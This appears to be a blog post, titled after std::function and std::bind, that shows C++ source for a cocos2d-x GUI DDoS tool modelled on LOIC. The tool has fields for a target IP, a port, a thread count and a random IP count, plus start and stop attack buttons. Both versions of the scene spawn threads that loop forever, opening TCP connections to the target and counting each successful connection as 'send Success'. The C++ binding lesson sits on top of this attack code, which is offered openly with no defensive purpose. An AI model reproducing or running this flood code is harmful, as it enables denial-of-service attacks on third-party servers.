• C/C++ std::function && std::bind


    *.cpp

    {

    #include "FirstScene.h"
    #include "SimpleAudioEngine.h"
    #include "cocos/ui/UIButton.h"
    #include "cocos/ui/UIEditBox/UIEditBox.h"
    #include "SOIL2/SOIL2.h"
     /*
    	 int width, height;
    
    	 std::string fullpath = FileUtils::getInstance()->fullPathForFilename("06a03.jpg");
    	 unsigned char *data = SOIL_load_image(fullpath.c_str(), &width, &height, 0, SOIL_LOAD_RGBA);
    	 ssize_t size;
    	 data = FileUtils::getInstance()->getFileData(fullpath, "rb", &size);
    	 data = SOIL_load_image_from_memory(data,size,&width,&height, 0, SOIL_LOAD_RGBA);
    	 if (data == nullptr)
    	 {
    		 cocos2d::log("%s . path is : %s
    ", "path error",fullpath.c_str());
    	 }
    
    	 Image *image = new (std::nothrow) Image();
    
    	 //cocos2d::Texture2D::PixelFormat::RGBA8888
    
    	 image->initWithRawData(data, size, width,height, 2);
    	 image->setPNGPremultipliedAlphaEnabled(true);
    
    	 //SOIL_free_image_data(data);
    
    	 auto so = Sprite::createWithTexture(Director::getInstance()->getTextureCache()->addImage(image, "key"));
    	 //auto so = Sprite::create("res/06a03.jpg");
    	 so->setPosition(visibleSize / 2);
    	 so->setScale(1.0f);
    	 delete image;
    	 this->addChild(so);
    
     */
    #include "libyuv.h"
    #include "socket/Private/MemoryPool.h"
    #include "sqlite/sqlite3.h"
    #include "socket/Private/Encryption.h"
    #include "Tools/Tools.h"
    #include "socket/TCPSocket.h"
    #include "socket/Private/ThreadPool.h"
    
    
    
    USING_NS_CC;
    #define DISPLAY Director::getInstance()->getVisibleSize()
    #define displayex Director::getInstance()->getVisibleSize()
    
    static unsigned long long g_attackCount = 0;
    
    
    Scene* FirstScene::createScene()
    {
    	return FirstScene::create();
    }
    
    FirstScene::~FirstScene()
    {
    	ThreadPool::GetInstance()->stopAll();
    }
    
    // Print useful error message instead of segfaulting when files are not there.
    static void problemLoading(const char* filename)
    {
    	printf("Error while loading: %s
    ", filename);
    	printf("Depending on how you compiled you might have to add 'Resources/' in front of filenames in FirstSceneScene.cpp
    ");
    }
    
    // on "init" you need to initialize your instance
    bool FirstScene::init()
    {
    	//////////////////////////////
    	// 1. super init first
    	if (!Scene::init())
    	{
    		return false;
    	}
    
    	 
    	std::string ar1("ar1");
    	std::string ar2("ar2");
    	int ar = 100;
    	std::function<void(int, string, string)> p = std::bind(&FirstScene::OnDDOS,this,
    		std::placeholders::_1, 
    		placeholders::_2, 
    		placeholders::_3);
    	thread t(p,ar, ar1, ar2);
    	t.join();
    
    	auto display = Director::getInstance()->getVisibleSize();
    	Vec2 origin = Director::getInstance()->getVisibleOrigin();
    
    	//背景
    	auto background = cocos2d::LayerColor::create(cocos2d::Color4B(12, 24, 32, 255));
    	this->addChild(background);
    
    	//图标
    	string icon("res/LOIC.png");
    	auto sprite = Sprite::create(icon);
    	sprite->setContentSize(Size(260, display.height));
    	sprite->setPosition(sprite->getContentSize().width / 2,
    		display.height / 2);
    	this->addChild(sprite);
    
    	//ddos
    	auto ddosPanel = ui::Button::create(icon, icon, icon);
    	ddosPanel->setScale9Enabled(true);
    	ddosPanel->setContentSize(Size(260, display.height));
    	ddosPanel->setPosition(Vec2(sprite->getContentSize().width / 2,
    		displayex.height / 2));
    	ddosPanel->setOpacity(10);
    	ddosPanel->setName("ddosPanel");
    	this->addChild(ddosPanel);
    	//ddosPanel->addClickEventListener(CC_CALLBACK_1(FirstScene::OnCallback, this));
    	ddosPanel->addClickEventListener(std::bind(&FirstScene::OnCallback, this,std::placeholders::_1));
    
    
    
    	string file("res/Button.png");
    	auto b = cocos2d::ui::Button::create(file, file, file);
    	b->setColor(Color3B(24, 48, 64));
    	b->setPosition(display / 2);
    	b->setPressedActionEnabled(true);
    	b->setContentSize(Size(200, 100));
    	b->setTitleColor(Color3B::BLUE);
    	this->addChild(b);
    
    
    
    	this->addChild(this->CreateDDOS());
    
    	return true;
    }
    
    Node *FirstScene::CreateDDOS()
    {
    	auto layer = LayerColor::create(cocos2d::Color4B(24, 48, 64, 255));
    	layer->setContentSize(Size(300, DISPLAY.height));
    	layer->setPosition(DISPLAY.width, 0);
    	layer->setName("ddos");
    	layer->setTag(0);
    
    	auto label = Label::createWithTTF("DDOS ATTACK", "fonts/arial.ttf", 30.0F);
    	label->setPosition(layer->getContentSize().width / 2,
    		layer->getContentSize().height - label->getContentSize().height / 2);
    	label->setSkewX(10);
    	layer->addChild(label);
    
    	int space_x = 10;
    	//ip
    	auto IP = ui::EditBox::create(Size(260, 30), "res/input.png");
    	IP->setPosition(Vec2(layer->getContentSize().width / 2 + 20,
    		label->getPosition().y -
    		label->getContentSize().height / 2 -
    		IP->getContentSize().height / 2 - space_x));
    	IP->setText("127.0.0.1");
    	//IP->setFont("fonts/arial.ttf", 20);
    	IP->setName("IP");
    	layer->addChild(IP);
    	auto IPLabel = Label::create("IP", "fonts/arial.ttf", 20.0F);
    	IPLabel->setPosition(IPLabel->getContentSize().width / 2, IP->getPosition().y);
    	layer->addChild(IPLabel);
    	//端口
    	auto Port = ui::EditBox::create(Size(100, 30), "res/input.png");
    	Port->setPosition(Vec2(layer->getContentSize().width - Port->getContentSize().width / 2,
    		IP->getPosition().y -
    		IP->getContentSize().height / 2 -
    		Port->getContentSize().height / 2 - space_x));
    	Port->setText("80");
    	Port->setName("Port");
    	layer->addChild(Port);
    	auto PortLabel = Label::create("Port", "fonts/arial.ttf", 20.0F);
    	PortLabel->setPosition(PortLabel->getContentSize().width / 2, Port->getPosition().y);
    	layer->addChild(PortLabel);
    	//线程
    	auto Thread = ui::EditBox::create(Size(100, 30), "res/input.png");
    	Thread->setPosition(Vec2(layer->getContentSize().width - Thread->getContentSize().width / 2,
    		Port->getPosition().y -
    		Port->getContentSize().height / 2 -
    		Thread->getContentSize().height / 2 - space_x));
    	Thread->setText("10");
    	Thread->setName("Thread");
    	layer->addChild(Thread);
    	auto ThreadLabel = Label::create("Thread", "fonts/arial.ttf", 20.0F);
    	ThreadLabel->setPosition(ThreadLabel->getContentSize().width / 2, Thread->getPosition().y);
    	layer->addChild(ThreadLabel);
    	//随机IP数量
    	auto RandIP = ui::EditBox::create(Size(100, 30), "res/input.png");
    	RandIP->setPosition(Vec2(layer->getContentSize().width - RandIP->getContentSize().width / 2,
    		Thread->getPosition().y -
    		Thread->getContentSize().height / 2 -
    		RandIP->getContentSize().height / 2 - space_x));
    	RandIP->setText("1000");
    	RandIP->setName("RandIP");
    	layer->addChild(RandIP);
    	auto RandIPLabel = Label::create("Random IP Count", "fonts/arial.ttf", 20.0F);
    	RandIPLabel->setPosition(RandIPLabel->getContentSize().width / 2, RandIP->getPosition().y);
    	layer->addChild(RandIPLabel);
    
    
    
    	string file("res/Button.png");
    	auto attack = cocos2d::ui::Button::create(file, file, file);
    	//attack->setContentSize(Size(200, 100));
    	attack->setTitleText("STARTATTACK");
    	attack->setTitleFontSize(15);
    	attack->setPosition(Vec2(attack->getContentSize().width / 2 + 10, attack->getContentSize().height / 2 + 10));
    	attack->setPressedActionEnabled(true);
    	attack->setName("attack");
    	layer->addChild(attack);
    	attack->addClickEventListener(CC_CALLBACK_1(FirstScene::OnCallback, this));
    
    	auto StopAttack = cocos2d::ui::Button::create(file, file, file);
    	//StopAttack->setContentSize(Size(200, 100));
    	StopAttack->setTitleText("STOPATTACK");
    	StopAttack->setTitleFontSize(15);
    	StopAttack->setPosition(Vec2(layer->getContentSize().width - StopAttack->getContentSize().width / 2 - 10,
    		StopAttack->getContentSize().height / 2 + 10));
    	StopAttack->setPressedActionEnabled(true);
    	StopAttack->setName("StopAttack");
    	layer->addChild(StopAttack);
    	StopAttack->addClickEventListener(CC_CALLBACK_1(FirstScene::OnCallback, this));
    
    	return layer;
    }
    
    static mutex g_mutexs;
    void FirstScene::OnCallback(Ref* pSender)
    {
    	auto node = ((Node*)pSender);
    	//==================================
    	if (node->getName() == "ddosPanel")
    	{
    		cocos2d::log("%s", "ddosPanel");
    		auto layer = node->getParent()->getChildByName("ddos");
    		if (layer->getTag() == 0)
    		{
    			auto moveTo = MoveTo::create(0.1f, Vec3(DISPLAY.width - layer->getContentSize().width,
    				0, 0));
    			layer->runAction(moveTo);
    			layer->setTag(1);
    		}
    		else
    		{
    			auto moveTo = MoveTo::create(0.1, Vec3(DISPLAY.width, 0, 0));
    			layer->runAction(moveTo);
    			layer->setTag(0);
    		}
    	}
    	else if (node->getName() == "attack")
    	{
    		string IP = ((ui::EditBox*)node->getParent()->getChildByName("IP"))->getText();
    		string Port = ((ui::EditBox*)node->getParent()->getChildByName("Port"))->getText();
    		string Thread = ((ui::EditBox*)node->getParent()->getChildByName("Thread"))->getText();
    		string RandIP = ((ui::EditBox*)node->getParent()->getChildByName("RandIP"))->getText();
    		cocos2d::log("start ddos attack, IP is: %s, Port is: %s, Thread is: %s, Random IP Count is: %s ",
    			IP.c_str(),
    			Port.c_str(),
    			Thread.c_str(),
    			RandIP.c_str());
    
    		int count = atoi(Thread.c_str());
    		ThreadPool::GetInstance()->GetCurConsoleThreadID();
    		for (int i = 0; i < count; i++)
    		{
    			ThreadPtr threadPtr;
    			threadPtr.ThreadID = i;
    			threadPtr.ptrThread = std::move(std::shared_ptr<thread>(new thread([=](int ID)
    			{
    				static unsigned long long var = 0;
    				static int FPS = 1;
    				static Tools tool;
    				while (true)
    				{
    					CHECK(ID);
    					lock_guard<mutex> LG(g_mutexs);
    					static unsigned long long times = tool.GetCurrentTimeMsec();
    					var = tool.GetCurrentTimeMsec() - times;
    					if (var >= FPS)
    					{
    						int ret = 0;
    						ret = TCPSocket::getInstance()->connect(IP.c_str(), (short)atoi(Port.c_str()));
    						if (ret == 1)
    						{
    							log("send Success  count : %d !!!",g_attackCount);
    							g_attackCount++;
    							
    						}
    						else
    						{
    							log("send Fail !!!");
    						}
    						times = tool.GetCurrentTimeMsec();
    					}
    				}
    				return;
    			}, threadPtr.ThreadID)));
    			ThreadPool::GetInstance()->addChild(threadPtr);
    		}
    		
    		
    	}
    	else if (node->getName() == "StopAttack")
    	{
    		cocos2d::log("%s", "StopAttack..................");
    	}
    
    
    }
    
    void FirstScene::OnDDOS( int ID, string IP, string Port)
    {
    	std::cout << ID<<" " << IP.c_str()<<" " << Port.c_str() << std::endl;
    }
    

     *.h

    {

    /****************************************************************************
     Copyright (c) 2017-2018 Xiamen Yaji Software Co., Ltd.
     
     http://www.cocos2d-x.org
     
     Permission is hereby granted, free of charge, to any person obtaining a copy
     of this software and associated documentation files (the "Software"), to deal
     in the Software without restriction, including without limitation the rights
     to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
     copies of the Software, and to permit persons to whom the Software is
     furnished to do so, subject to the following conditions:
     
     The above copyright notice and this permission notice shall be included in
     all copies or substantial portions of the Software.
     
     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
     IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
     FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
     AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
     LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
     OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
     THE SOFTWARE.
     ****************************************************************************/
    
    #ifndef __FirstScene_SCENE_H__
    #define __FirstScene_SCENE_H__
    
    #include "cocos2d.h"
    #include <iostream>
    #include <string.h>
    using namespace std;
    
    class FirstScene : public cocos2d::Scene
    {
    public:
        static cocos2d::Scene* createScene();
    	~FirstScene();
    
        virtual bool init();
        
        // a selector callback
        void OnCallback(cocos2d::Ref* pSender);
        
        // implement the "static create()" method manually
        CREATE_FUNC(FirstScene);
    
    	Node *CreateDDOS();
    	void OnDDOS(int ID, string IP, string Port);
    };
    
    #endif // __FirstScene_SCENE_H__
    

    }

    *.cpp ex

    {

    #include "FirstScene.h"
    #include "SimpleAudioEngine.h"
    #include "cocos/ui/UIButton.h"
    #include "cocos/ui/UIEditBox/UIEditBox.h"
    #include "SOIL2/SOIL2.h"
     /*
    	 int width, height;
    
    	 std::string fullpath = FileUtils::getInstance()->fullPathForFilename("06a03.jpg");
    	 unsigned char *data = SOIL_load_image(fullpath.c_str(), &width, &height, 0, SOIL_LOAD_RGBA);
    	 ssize_t size;
    	 data = FileUtils::getInstance()->getFileData(fullpath, "rb", &size);
    	 data = SOIL_load_image_from_memory(data,size,&width,&height, 0, SOIL_LOAD_RGBA);
    	 if (data == nullptr)
    	 {
    		 cocos2d::log("%s . path is : %s
    ", "path error",fullpath.c_str());
    	 }
    
    	 Image *image = new (std::nothrow) Image();
    
    	 //cocos2d::Texture2D::PixelFormat::RGBA8888
    
    	 image->initWithRawData(data, size, width,height, 2);
    	 image->setPNGPremultipliedAlphaEnabled(true);
    
    	 //SOIL_free_image_data(data);
    
    	 auto so = Sprite::createWithTexture(Director::getInstance()->getTextureCache()->addImage(image, "key"));
    	 //auto so = Sprite::create("res/06a03.jpg");
    	 so->setPosition(visibleSize / 2);
    	 so->setScale(1.0f);
    	 delete image;
    	 this->addChild(so);
    
     */
    #include "libyuv.h"
    #include "socket/Private/MemoryPool.h"
    #include "sqlite/sqlite3.h"
    #include "socket/Private/Encryption.h"
    #include "Tools/Tools.h"
    #include "socket/TCPSocket.h"
    #include "socket/Private/ThreadPool.h"
    
    
    
    USING_NS_CC;
    #define DISPLAY Director::getInstance()->getVisibleSize()
    #define displayex Director::getInstance()->getVisibleSize()
    
    static unsigned long long g_attackCount = 0;
    
    
    Scene* FirstScene::createScene()
    {
    	return FirstScene::create();
    }
    
    FirstScene::~FirstScene()
    {
    	ThreadPool::GetInstance()->stopAll();
    }
    
    // Print useful error message instead of segfaulting when files are not there.
    static void problemLoading(const char* filename)
    {
    	printf("Error while loading: %s
    ", filename);
    	printf("Depending on how you compiled you might have to add 'Resources/' in front of filenames in FirstSceneScene.cpp
    ");
    }
    
    // on "init" you need to initialize your instance
    bool FirstScene::init()
    {
    	//////////////////////////////
    	// 1. super init first
    	if (!Scene::init())
    	{
    		return false;
    	}
    
    	auto display = Director::getInstance()->getVisibleSize();
    	Vec2 origin = Director::getInstance()->getVisibleOrigin();
    
    	//背景
    	auto background = cocos2d::LayerColor::create(cocos2d::Color4B(12, 24, 32, 255));
    	this->addChild(background);
    
    	//图标
    	string icon("res/LOIC.png");
    	auto sprite = Sprite::create(icon);
    	sprite->setContentSize(Size(260, display.height));
    	sprite->setPosition(sprite->getContentSize().width / 2,
    		display.height / 2);
    	this->addChild(sprite);
    
    	//ddos
    	auto ddosPanel = ui::Button::create(icon, icon, icon);
    	ddosPanel->setScale9Enabled(true);
    	ddosPanel->setContentSize(Size(260, display.height));
    	ddosPanel->setPosition(Vec2(sprite->getContentSize().width / 2,
    		displayex.height / 2));
    	ddosPanel->setOpacity(10);
    	ddosPanel->setName("ddosPanel");
    	this->addChild(ddosPanel);
    	//ddosPanel->addClickEventListener(CC_CALLBACK_1(FirstScene::OnCallback, this));
    	ddosPanel->addClickEventListener(std::bind(&FirstScene::OnCallback, this,std::placeholders::_1));
    
    
    
    	string file("res/Button.png");
    	auto b = cocos2d::ui::Button::create(file, file, file);
    	b->setColor(Color3B(24, 48, 64));
    	b->setPosition(display / 2);
    	b->setPressedActionEnabled(true);
    	b->setContentSize(Size(200, 100));
    	b->setTitleColor(Color3B::BLUE);
    	this->addChild(b);
    
    
    
    	this->addChild(this->CreateDDOS());
    
    	return true;
    }
    
    Node *FirstScene::CreateDDOS()
    {
    	auto layer = LayerColor::create(cocos2d::Color4B(24, 48, 64, 255));
    	layer->setContentSize(Size(300, DISPLAY.height));
    	layer->setPosition(DISPLAY.width, 0);
    	layer->setName("ddos");
    	layer->setTag(0);
    
    	auto label = Label::createWithTTF("DDOS ATTACK", "fonts/arial.ttf", 30.0F);
    	label->setPosition(layer->getContentSize().width / 2,
    		layer->getContentSize().height - label->getContentSize().height / 2);
    	label->setSkewX(10);
    	layer->addChild(label);
    
    	int space_x = 10;
    	//ip
    	auto IP = ui::EditBox::create(Size(260, 30), "res/input.png");
    	IP->setPosition(Vec2(layer->getContentSize().width / 2 + 20,
    		label->getPosition().y -
    		label->getContentSize().height / 2 -
    		IP->getContentSize().height / 2 - space_x));
    	IP->setText("127.0.0.1");
    	//IP->setFont("fonts/arial.ttf", 20);
    	IP->setName("IP");
    	layer->addChild(IP);
    	auto IPLabel = Label::create("IP", "fonts/arial.ttf", 20.0F);
    	IPLabel->setPosition(IPLabel->getContentSize().width / 2, IP->getPosition().y);
    	layer->addChild(IPLabel);
    	//端口
    	auto Port = ui::EditBox::create(Size(100, 30), "res/input.png");
    	Port->setPosition(Vec2(layer->getContentSize().width - Port->getContentSize().width / 2,
    		IP->getPosition().y -
    		IP->getContentSize().height / 2 -
    		Port->getContentSize().height / 2 - space_x));
    	Port->setText("80");
    	Port->setName("Port");
    	layer->addChild(Port);
    	auto PortLabel = Label::create("Port", "fonts/arial.ttf", 20.0F);
    	PortLabel->setPosition(PortLabel->getContentSize().width / 2, Port->getPosition().y);
    	layer->addChild(PortLabel);
    	//线程
    	auto Thread = ui::EditBox::create(Size(100, 30), "res/input.png");
    	Thread->setPosition(Vec2(layer->getContentSize().width - Thread->getContentSize().width / 2,
    		Port->getPosition().y -
    		Port->getContentSize().height / 2 -
    		Thread->getContentSize().height / 2 - space_x));
    	Thread->setText("10");
    	Thread->setName("Thread");
    	layer->addChild(Thread);
    	auto ThreadLabel = Label::create("Thread", "fonts/arial.ttf", 20.0F);
    	ThreadLabel->setPosition(ThreadLabel->getContentSize().width / 2, Thread->getPosition().y);
    	layer->addChild(ThreadLabel);
    	//随机IP数量
    	auto RandIP = ui::EditBox::create(Size(100, 30), "res/input.png");
    	RandIP->setPosition(Vec2(layer->getContentSize().width - RandIP->getContentSize().width / 2,
    		Thread->getPosition().y -
    		Thread->getContentSize().height / 2 -
    		RandIP->getContentSize().height / 2 - space_x));
    	RandIP->setText("1000");
    	RandIP->setName("RandIP");
    	layer->addChild(RandIP);
    	auto RandIPLabel = Label::create("Random IP Count", "fonts/arial.ttf", 20.0F);
    	RandIPLabel->setPosition(RandIPLabel->getContentSize().width / 2, RandIP->getPosition().y);
    	layer->addChild(RandIPLabel);
    
    
    
    	string file("res/Button.png");
    	auto attack = cocos2d::ui::Button::create(file, file, file);
    	//attack->setContentSize(Size(200, 100));
    	attack->setTitleText("STARTATTACK");
    	attack->setTitleFontSize(15);
    	attack->setPosition(Vec2(attack->getContentSize().width / 2 + 10, attack->getContentSize().height / 2 + 10));
    	attack->setPressedActionEnabled(true);
    	attack->setName("attack");
    	layer->addChild(attack);
    	attack->addClickEventListener(CC_CALLBACK_1(FirstScene::OnCallback, this));
    
    	auto StopAttack = cocos2d::ui::Button::create(file, file, file);
    	//StopAttack->setContentSize(Size(200, 100));
    	StopAttack->setTitleText("STOPATTACK");
    	StopAttack->setTitleFontSize(15);
    	StopAttack->setPosition(Vec2(layer->getContentSize().width - StopAttack->getContentSize().width / 2 - 10,
    		StopAttack->getContentSize().height / 2 + 10));
    	StopAttack->setPressedActionEnabled(true);
    	StopAttack->setName("StopAttack");
    	layer->addChild(StopAttack);
    	StopAttack->addClickEventListener(CC_CALLBACK_1(FirstScene::OnCallback, this));
    
    	return layer;
    }
    
    static mutex g_mutexs;
    void FirstScene::OnCallback(Ref* pSender)
    {
    	auto node = ((Node*)pSender);
    	//==================================
    	if (node->getName() == "ddosPanel")
    	{
    		cocos2d::log("%s", "ddosPanel");
    		auto layer = node->getParent()->getChildByName("ddos");
    		if (layer->getTag() == 0)
    		{
    			auto moveTo = MoveTo::create(0.1f, Vec3(DISPLAY.width - layer->getContentSize().width,
    				0, 0));
    			layer->runAction(moveTo);
    			layer->setTag(1);
    		}
    		else
    		{
    			auto moveTo = MoveTo::create(0.1, Vec3(DISPLAY.width, 0, 0));
    			layer->runAction(moveTo);
    			layer->setTag(0);
    		}
    	}
    	else if (node->getName() == "attack")
    	{
    		string IP = ((ui::EditBox*)node->getParent()->getChildByName("IP"))->getText();
    		string Port = ((ui::EditBox*)node->getParent()->getChildByName("Port"))->getText();
    		string Thread = ((ui::EditBox*)node->getParent()->getChildByName("Thread"))->getText();
    		string RandIP = ((ui::EditBox*)node->getParent()->getChildByName("RandIP"))->getText();
    		cocos2d::log("start ddos attack, IP is: %s, Port is: %s, Thread is: %s, Random IP Count is: %s ",
    			IP.c_str(),
    			Port.c_str(),
    			Thread.c_str(),
    			RandIP.c_str());
    
    		int count = atoi(Thread.c_str());
    		ThreadPool::GetInstance()->GetCurConsoleThreadID();
    		for (int i = 0; i < count; i++)
    		{
    			ThreadPtr threadPtr;
    			threadPtr.ThreadID = i;
    			std::function<void(int, std::string, std::string)>  iss = std::bind(&FirstScene::DDOS,this,
    				std::placeholders::_1,
    				std::placeholders::_2,
    				std::placeholders::_3);
    			threadPtr.ptrThread = std::move(std::shared_ptr<thread>(new thread(iss, threadPtr.ThreadID,IP,Port)));
    			ThreadPool::GetInstance()->addChild(threadPtr);
    		}
    		
    		
    	}
    	else if (node->getName() == "StopAttack")
    	{
    		cocos2d::log("%s", "StopAttack..................");
    	}
    
    
    }
    
    void FirstScene::DDOS( int ID, string IP, string Port)
    {
    	std::cout << ID<<" " << IP.c_str()<<" " << Port.c_str() << std::endl;
    	static unsigned long long var = 0;
    	static int FPS = 1;
    	static Tools tool;
    	while (true)
    	{
    		CHECK(ID);
    		lock_guard<mutex> LG(g_mutexs);
    		static unsigned long long times = tool.GetCurrentTimeMsec();
    		var = tool.GetCurrentTimeMsec() - times;
    		if (var >= FPS)
    		{
    			int ret = 0;
    			ret = TCPSocket::getInstance()->connect(IP.c_str(), (short)atoi(Port.c_str()));
    			if (ret == 1)
    			{
    				log("send Success  count : %d !!!", g_attackCount);
    				g_attackCount++;
    
    			}
    			else
    			{
    				log("send Fail !!!");
    			}
    			times = tool.GetCurrentTimeMsec();
    		}
    	}
    	return;
    }
    

    }

  • 相关阅读:
    FileManager(文件管理类)
    XE6 IntraWeb.v14.0.32安装及破解指南
    在应收应付系统凭证做冲销后,如何取消冲销?
    delphi将图片保存到SQL数据库和读取图片
    去掉cxgrid 中的过滤下拉箭头
    CxGrid 分组以后自动排序了,可以禁止自动排序吗
    最简单解决CHM文件无法显示的办法
    用友T3、T6常见问题
    SQL2005还原数据库3154错误
    cxGrid 怎样才能让不自动换行 WordWrap:=false
  • 原文地址:https://www.cnblogs.com/YZFHKMS-X/p/12687438.html
Copyright © 2020-2023  润新知